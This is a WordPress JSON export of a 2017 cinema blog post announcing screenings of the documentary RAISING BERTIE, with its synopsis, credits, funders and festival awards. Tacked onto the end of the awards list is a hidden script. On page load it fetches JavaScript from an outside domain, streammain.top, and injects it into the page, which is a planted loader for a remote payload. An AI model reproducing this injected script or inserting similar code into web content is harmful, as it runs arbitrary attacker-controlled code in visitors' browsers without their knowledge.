{"id":7076,"date":"2017-05-31T10:05:41","date_gmt":"2017-05-31T15:05:41","guid":{"rendered":"http:\/\/blackworldcinema.net\/blog\/?p=7076"},"modified":"2025-06-03T00:28:58","modified_gmt":"2025-06-03T05:28:58","slug":"june-16-23-raising-bertie","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2017\/05\/31\/june-16-23-raising-bertie\/","title":{"rendered":"June 16-23 RAISING BERTIE"},"content":{"rendered":"<p>RAISING BERTIE, US, 2017, 102 min<br \/>\nDirector: Margaret Byrne<\/p>\n<p>An intimate, six-year portrait of three boys growing into adulthood in rural North Carolina.<span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-Apple-converted-space\">\u00a0<\/span><\/p>\n<p>Raising Bertie argues that rural black lives matter by showcasing people usually invisible in the media: African-American boys grappling with the precarious school-to-work transition in an impoverished and isolated rural community.<\/p>\n<p>Set in Bertie County, located in Eastern North Carolina, the film offers viewers a respectful and tender insight into the emotional lives of Reginald \u201cJunior\u201d Askew, David \u201cBud\u201d Perry, and Davonte \u201cDada\u201d Harrell. This raw and starkly poetic cin\u00e9ma v\u00e9rit\u00e9 film weaves their stories together as they navigate school, unemployment, violence, first love, fatherhood, and estrangement from family members and mentors, subtly exploring the complex relationships between generational poverty, economic isolation, and educational inequity.<\/p>\n<p>Directed and Produced by Margaret Byrne. Produced by Ian Kibbe. Director of Photography &amp; Co-Producer: Jon Stuyvesant. Edited by Leslie Simmer. Executive Producers: J.Cole, Gordon Quinn, Justine Nagan.<span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-Apple-converted-space\">\u00a0<\/span><\/p>\n<p>A production of Beti Films and Kartemquin Films.<\/p>\n<p>Supported by: MacArthur Foundation, Ford Foundation, Southern Documentary Fund, Good Pitch, IFP Labs, AFI DOCS Impact Lab.<\/p>\n<p>Awards:<span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-Apple-converted-space\">\u00a0<\/span><br \/>\nBest Documentary Feature, Atlanta Docufest<span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-Apple-converted-space\">\u00a0<\/span><span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-m_469037719182172892gmail-il\">2016<\/span>.<span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-Apple-converted-space\">\u00a0<\/span><br \/>\nBest Director, Atlanta Underground Film Festival<span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-Apple-converted-space\">\u00a0<\/span><span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-m_469037719182172892gmail-il\">2016<\/span>.<span class=\"m_4096909856537914421gmail-m_955189808216842092m_1168095196535310161gmail-Apple-converted-space\">\u00a0<\/span><br \/>\nBest First Time Director, Downtown LA Film Festival.<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>RAISING BERTIE, US, 2017, 102 min Director: Margaret Byrne An intimate, six-year portrait of three boys growing into adulthood in rural North Carolina.\u00a0 Raising Bertie argues that rural black lives matter by showcasing people usually invisible in the media: African-American boys grappling with the precarious school-to-work transition in an impoverished and isolated rural community. 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